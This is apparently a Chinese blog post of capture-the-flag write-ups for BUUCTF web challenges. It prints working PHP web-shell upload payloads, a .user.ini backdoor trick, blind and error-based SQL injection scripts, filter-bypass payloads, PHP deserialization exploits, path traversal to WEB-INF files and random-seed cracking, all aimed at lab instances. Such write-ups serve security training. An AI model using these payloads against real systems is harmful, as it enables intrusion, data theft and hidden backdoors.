buuctf-web部分wp（更新一下）

原创

a3uRa 于 2020-02-17 00:45:51 发布 2004 收藏 1

前言（撮合看看吧 因为直接复制的本地 所以图片就没法显示了 有什么不懂的地方可以给我留言哦~ 然后推荐一个公众号:lin先森 求关注）

b站

[BJDCTF2020]Easy MD5

f12

Hint: select * from ‘admin’ where password=md5($pass,true)

ffifdyop

弱类型绕过

数组绕过

[极客大挑战 2019]Http

修改头

[极客大挑战 2019]Upload

文件上传后缀

php,php3,php4,php5,phtml.pht

phtml后缀

```
GIF89a? <script language="php">eval($_REQUEST[shell])</script>
```

Content-Type: image/jpeg

[极客大挑战 2019]LoveSQL

easy
sql注入无任何过滤 常规思路

[强网杯 2019]随便注 |未完

[HCTF 2018]WarmUp | 未完

admin

http://cdusec.happyhacking.top/?post=79

os.system(“ls”)

commands.getstatusoutput(“ls”)

grep -r “flag”

[强网杯 2019]高明的黑客

https://mochazz.github.io/2019/05/27/2019%E5%BC%BA%E7%BD%91%E6%9D%AFWeb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/#%E9%AB%98%E6%98%8E%E7%9A%84%E9%BB%91%E5%AE%A2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lsCSF1jR-1581871513527)(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p2964)]

```
import os,re
import requests
filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
    print(name)
    with open('/var/www/html/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = 'uname'
            flag = 'Linux'
            # command = 'phpinfo();'
            # flag = 'phpinfo'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://127.0.0.1/src/' + name + '?' + passwd + '='+ command)
                if flag in r.text:
                    print('backdoor file is: ' + name)
                    print('GET:  ' + passwd)
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://127.0.0.1/src/' + name,data={passwd:command})
                if flag in r.text:
                    print('backdoor file is: ' + name)
                    print('POST:  ' + passwd)
        except : pass
```

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-woQNwcUl-1581871513529)(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p2965)]

easy_tornado | 未完

[RCTF 2019]Nextphp | 未完

```php
<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}
```

尝试使用系统执行发现被禁用,执行phpinfo()发现应该有waf会断开链接,可以在中间加上空格phpinfo ()绕过,然后查看disable_functions发现命令执行都禁用完了(而且无权访问其他目录)

不需要加空格
http://f0ca4e93-3861-4ec5-81f2-1f19a92a56ec.node2.buuoj.cn.wetolink.com:82/?a=phpinfo%20();
http://f0ca4e93-3861-4ec5-81f2-1f19a92a56ec.node2.buuoj.cn.wetolink.com:82/?a=phpinfo();

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fWnlxplg-1581871513529)(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p2977)]

使用print_r(scandir('./'));发现当前目录还有一个preload.php,使用show_source('preload.php');

http://f0ca4e93-3861-4ec5-81f2-1f19a92a56ec.node2.buuoj.cn.wetolink.com:82/?a=show_source(%22preload.php%22);

```
preload.php
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}
```

https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/

phpinfo
PHP Version 7.4.0-dev
内网IP：172.20.0.1
开启了FFI

opcache.preload：/var/www/html/preload.php
open_basedir：/var/www/html
disable_classes：ReflectionClass
disable_functions

https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload

opcache.preload 是 PHP7.4 中新加入的功能。如果设置了 opcache.preload ，那么在所有Web应用程序运行之前，服务会先将设定的 preload 文件加载进内存中，使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读：https://wiki.php.net/rfc/preload ，在这篇文档尾巴可以看到如下描述：

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说允许在 preload 文件中使用 FFI 拓展，但是文档中说了 FFI 是一个危险的拓展，而这道题目却开启了 FFI 拓展。我们可以参考文档：https://wiki.php.net/rfc/ffi 中的例子：

```php
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is regular C declaration
    "libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");
```

[SUCTF 2019]EasySQL | 堆叠注入 | 未完

1;show tables;#

查询语句结构：select “.$post[‘query’].”||flag from Flag

*,1
拼接后就变成了 SELECT * ,1 || flag FROM Flag
连接数据库并从URL获取参数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M4ztpBEX-1581871513530)
(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p5271)]
对获取的参数进行处理后带入数据库查询， 并且返回结果
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a8Jnb8Fs-1581871513530)
(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p5272)]

其实主要就是 SQL 查询语句 : select “.$post[‘query’].”||flag from Flag";

由于题目没有过滤 " * " ， 因此可以查询所有内容就可以拿到 Flag 了

sql_mode参数
Oracle 在缺省情况下支持使用 " || "连接字符串 ， 但是在MySQL中缺省不支持 ， MySQL 缺省使用 CONCAT 系列函数来连接字符串 .
可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 " || "视为 字符串连接符 而非 或 运算符 .

因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag ， 如下
Payload : 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1

拼接后就变成了 SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag

PIPES_AS_CONCAT

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZNGnjblf-1581871513531)
(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p5273)]

[CISCN2019 华北赛区 Day2 Web1]Hack World | 布尔盲注

```
import requests
s=requests.session()
url='http://943a92d6-e3e2-4e52-b58c-6ec03e5c4b39.node3.buuoj.cn/index.php'
ans = ''
for i in range(1,50):
    for j in range(33,127):
        key = "if(ascii(substr((select(flag)from(flag)),"+str(i)+",1))="+str(j)+",2,1)"
        payload = {'id':key}
        c = s.post(url,data = payload)
        if 'my' in c.text:
            ans += chr(j)
            print(ans)
            break
```

[SUCTF 2019]CheckIn | 文件上传 .user.ini

https://xz.aliyun.com/t/6091

```
GIF89a
<script language=php>eval($_POST[a]);phpinfo();</script>
```

```
GIF89a
auto_prepend_file=111.jpg
```

http://7f765784-2d34-4c6f-8535-518028569c99.node3.buuoj.cn/uploads/f4e7685fe689f675c85caeefaedcf40c/
post a=system("ls");

.user.ini实战利用的可能性
综上所述.user.ini的利用条件如下：

服务器脚本语言为PHP
服务器使用CGI / FastCGI模式
上传目录下要有可执行的php文件

从这来看.user.ini要比.htaccess的应用范围要广一些，毕竟.htaccess只能用于Apache

但也不是全无办法，如果我们根据实际情况配合其他漏洞使用可能会有奇效，前段时间我遇到一个CMS对上传时的路径没有检测…/，因此导致文件可被上传至任意目录，这种情况下我们就很有可能可以利用.user.ini

除此之外，把.user.ini利用在隐藏后门上应该是个很好的利用方法，我们在存在php文件的目录下留下.user.ini和我们的图片马，这样就达到了隐藏后门的目的。

[RCTF2015]EasySQL

报错注入
注册一个aaa\然后在修改密码的页面可以发现报错
updatexml函数报错注入

heheda"&&(1=(updatexml(1,concat(0x5e24,
(SELECT(group_concat(SCHEMA_NAME))FROM(information_schema.SCHEMATA)),0x5e24),1)))#

heheda"&&(1=(updatexml(1,concat(0x5e24,(select(version())),0x5e24),1)))#

注册
username
asura"||(updatexml(1,concat(0x3a,
(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

密码123
邮箱123

登录

修改密码
密码123
修改为1234
点击
报错显错

XPATH syntax error: ‘:article,flag,users’

经过测试，flag 不在 flag 表中

同样原理
peri0d"||(updatexml(1,concat(0x3a,
(select(group_concat(column_name))from(information_schema.columns)where(table_name=‘users’))),1))#
XPATH syntax error: ‘:name,pwd,email,real_flag_1s_her’

发现输出有长度限制
XPATH syntax error: ‘:real_flag_1s_here’

peri0d"||(updatexml(1,concat(0x3a,
(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(’^f’))),1))#
XPATH syntax error: ‘:flag{dffd4a06-d3ff-48ec-b6f2-11’

reverse 逆序输出

peri0d"||
(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(’^f’)))),1)
)#

XPATH syntax error: ‘:}d095a68cd511-2f6b-ce84-ff3d-60’

extractvalue函数报错注入
heheda"&&(extractvalue(1,concat(0x3a,
((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here!=0x787878))))))#

[极客大挑战 2019]BabySQL

admin’#
1
=>成功登录,Your password is ‘0635e1905018d9c8f47a0e7aabe06f02’

,

1
=>报错,right syntax to use near ‘1’’ at line 1
猜测后台语句
select user from users where username=’’ and password=’’;

admin’and 1#
1
=>报错，use near ‘1#’ and password=‘1’’ at line 1

分析一下，这种报错就是and被过滤时的报错
尝试双写绕过，发现可以，写脚本之前再把被过滤的关键词fuzz一下
只需要直接把关键词填在username即可，被替换为空则提示
Input your username and password
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9l9j6Wwu-1581871513531)
(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p5275)]

发现=也被过滤。。。尝试<>绕过，发现也被过滤，并且无法双写绕过，尝试in
也被过滤，尝试like,提示Operand should contain 1 column(s)

http://9bd292b4-649b-4cec-985f-eea9a4237be4.node3.buuoj.cn/check.php?username=admin1'uniunionon selselectect 1,database(),3%23&password=11
geek

http://9bd292b4-649b-4cec-985f-eea9a4237be4.node3.buuoj.cn/check.php?username=admin1'uniunionon selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema=database()%23&password=11
b4bsql,geekuser

http://9bd292b4-649b-4cec-985f-eea9a4237be4.node3.buuoj.cn/check.php?username=admin1'uniunionon selselectect 1,group_concat(distinct database_name),3 frfromom mysql.innodb_index_stats%23&password=11
ctf,geek,mysql

http://9bd292b4-649b-4cec-985f-eea9a4237be4.node3.buuoj.cn/check.php?username=admin1'uniunionon selselectect 1,group_concat(distinct table_name),3 frfromom mysql.innodb_index_stats%23&password=11
Flag,b4bsql,geekuser,gtid_slave_pos

无列名注入

http://9bd292b4-649b-4cec-985f-eea9a4237be4.node3.buuoj.cn/check.php?username=admin&password=1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql-- -
双写绕过
sql注入

innodb

[极客大挑战 2019]BuyFlag

php弱类型

```
<!--
 ~~~post money and password~~~
if (isset($_POST['password'])) {
 $password = $_POST['password'];
 if (is_numeric($password)) {
  echo "password can't be number</br>";
 }elseif ($password == 404) {
  echo "Password Right!</br>";
 }
}
-->
```

money=9e99&password=404a
Cookie: user=1

[GWCTF 2019]枯燥的抽奖

php随机数

```
beVPOswl2J

<?php
#这不是抽奖程序的源代码！不许看！
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖，就是那么枯燥且无味，给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦，再试试吧</p>";
    }
}
show_source("check.php");
```

UPYVhVrk8f

先用脚本将伪随机数转换成php_mt_seed可以识别的数据：

```
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='lkG47RsSbR'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)
```

php_mt_seed爆破php版本和随机数种子

注意php版本

在线运行php

https://tool.lu/coderunner/

```php
<?php
mt_srand(352934399);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";
?>
```

提交得到的字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-74g3Lt8i-1581871513531)(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p5330)]

[安洵杯 2019]easy_serialize_php

参考

https://www.cnblogs.com/20175211lyz/p/12190128.html

https://blog.csdn.net/zz_Caleb/article/details/103338156

https://xz.aliyun.com/t/6911#toc-3

http://www.cl4y.top/%E5%AE%89%E6%B4%B5%E6%9D%AF2019_wp/

https://www.manongdao.com/article-1729329.html

https://juejin.im/post/5de51a9af265da05f84bbae3#heading-3

```php
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
```

可以看到我们可以令function为phpinfo来查看phpinfo
http://cfbf893d-e574-4539-bb5d-b8a3d07c2fb7.node3.buuoj.cn/index.php?f=phpinfo
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o7kOpKvv-1581871513532)
(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p5331)]
我在php.ini中设置了auto_prepend_file隐式包含了d0g3_f1ag.php，直接访问可以发现没有任何内容，说明我们需要读取这个文件的内容。
接着往下看代码，可以看到最终执行了一个file_get_contents，从这个函数逆推回去$userinfo[“img”]的值，可以发现这个值虽然是我们可控的，但是会经过sha1加密，而我没有解密，导致无法读取任何文件。
此时需要把注意力转移到另外一个函数serialize上，这里有一个很明显的漏洞点，数据经过序列化了之后又经过了一层过滤函数，而这层过滤函数会干扰序列化后的数据。
PS：任何具有一定结构的数据，如果经过了某些处理而把结构体本身的结构给打乱了，则有可能会产生漏洞。

这里我令_SESSION[user]为flagflagflagflagflagflag，正常情况下序列化后的数据是这样的：
a:3:
{s:4:“user”;s:24:“flagflagflagflagflagflag”;s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}
而经过了过滤函数之后，序列化的数据就会变成这样：
a:3:
{s:4:“user”;s:24:" `";s:8:"function";s:59:"a` ";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}
可以看到，user的内容长度依旧为24，但是已经没有内容了，所以反序列化时会自动往后读取24位：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D8MaDdAK-1581871513532)(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p5332)]
会读取到上图的位置，然后结束，由于user的序列化内容读取数据时需要往后填充24位，导致后面function的内容也发生了改变，吞掉了其双引号，导致我们可以控制后面的序列化内容。
而php反序列化时，当一整段内容反序列化结束后，**后面的非法字符将会被忽略**，而如何判断是否结束呢，可以看到，前面有一个a:3，表示序列化的内容是一个数组，有三个键，而以{作为序列化内容的起点，}作为序列化内容的终点。
所以此时后面的";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}在反序列化时就会被当作非法字符忽略掉，导致我们可以控制$userinfo[“img”]的值，达到任意文件读取的效果。
在读取完d0g3_f1ag.php后，得到下一个hint，获取到flag文件名，此时修改payload读根目录下的flag即可。

http://c13e1b8d-5408-47e5-b172-571d45dceb42.node3.buuoj.cn/index.php?function=show_image
post:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}&function=show_image

_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}

```
<?php

$flag = 'flag in /d0g3_fllllllag';

?>
```

_SESSION[flagflag]=";s:3:“aaa”;s:3:“img”;s:20:“L2QwZzNfZmxsbGxsbGFn”;}&function=show_image

[GXYCTF2019]BabySQli

select * from user where username = ‘$name’
当查询的数据不存在的时候，联合查询就会构造一个虚拟的数据

```
name=0' union select 1,2,3,4#&pw=1
Error: The used SELECT statements have a different number of columns

name=0' union select 1,2,3#&pw=1
wrong user!

name=0' union select 0,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
```

[RoarCTF 2019]Easy Java

弱口令
admin/admin888

找到
http://5994f7c8-2bf8-4a5a-9060-0f7cb37cf5d6.node3.buuoj.cn/Download?filename=help.docx
java.io.FileNotFoundException:{help.docx}

这种形式有经验的都会换下请求方式，结果就可以了，初步推测此处的利用包含漏洞找flag文件。

/Downfile?filename=help.docx
报错

```
HTTP Status 404 – Not Found
Type Status Report

Message /Downfile

Description The origin server did not find a current representation for the target resource or is not willing to
 disclose that one exists.

Apache Tomcat/8.5.24
```

post方法
filename=WEB-INF/web.xml

成功下载WEB-INF_web.xml

```xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.x
sd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>
```

http://5994f7c8-2bf8-4a5a-9060-0f7cb37cf5d6.node3.buuoj.cn/Flag

抛错路径

```
HTTP Status 500 – Internal Server Error
Type Exception Report

Message com/wm/ctf/FlagController (wrong name: FlagController)

Description The server encountered an unexpected condition that prevented it from fulfilling the request.

Exception

java.lang.NoClassDefFoundError: com/wm/ctf/FlagController (wrong name: FlagController)
 java.lang.ClassLoader.defineClass1(Native Method)
 java.lang.ClassLoader.defineClass(ClassLoader.java:763)
 java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
 org.apache.catalina.loader.WebappClassLoaderBase.findClassInternal(WebappClassLoaderBase.java:2283)
 org.apache.catalina.loader.WebappClassLoaderBase.findClass(WebappClassLoaderBase.java:811)
 org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1260)
 org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1119)
 org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:488)
 org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
 org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650)
 org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
 org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:803)
 org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
 org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:790)
 org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1459)
 org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
 java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
 java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
 org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
 java.lang.Thread.run(Thread.java:748)
Note The full stack trace of the root cause is available in the server logs.

Apache Tomcat/8.5.24
```

结合tomcat的项目存放路径经验试试下载FlagController.class试试

filename=WEB-INF/classes/com/wm/ctf/FlagController.class
下载 base64解码

对java容器和项目存放位置
几大语言的容器，项目环境

[极客大挑战 2019]Knife

easy

[极客大挑战 2019]Secret File

抓跳转
访问一个文件泄露源码
php://filter/convert.base64-encode/resource=flag.php

[极客大挑战 2019]PHP

www.zip

```php
<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>
```

```php
<?php
include 'flag.php';


class Name{
    private $username = 'admin';
    private $password = 100;
}
$a = new Name('admin',100);
echo serialize($a);
?>
```

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kKPginuN-1581871513533)(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p5540)]

不可见字符改为%00

再绕过wakeup函数

O:4:“Name”:4:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}

[极客大挑战 2019]Havefun

easy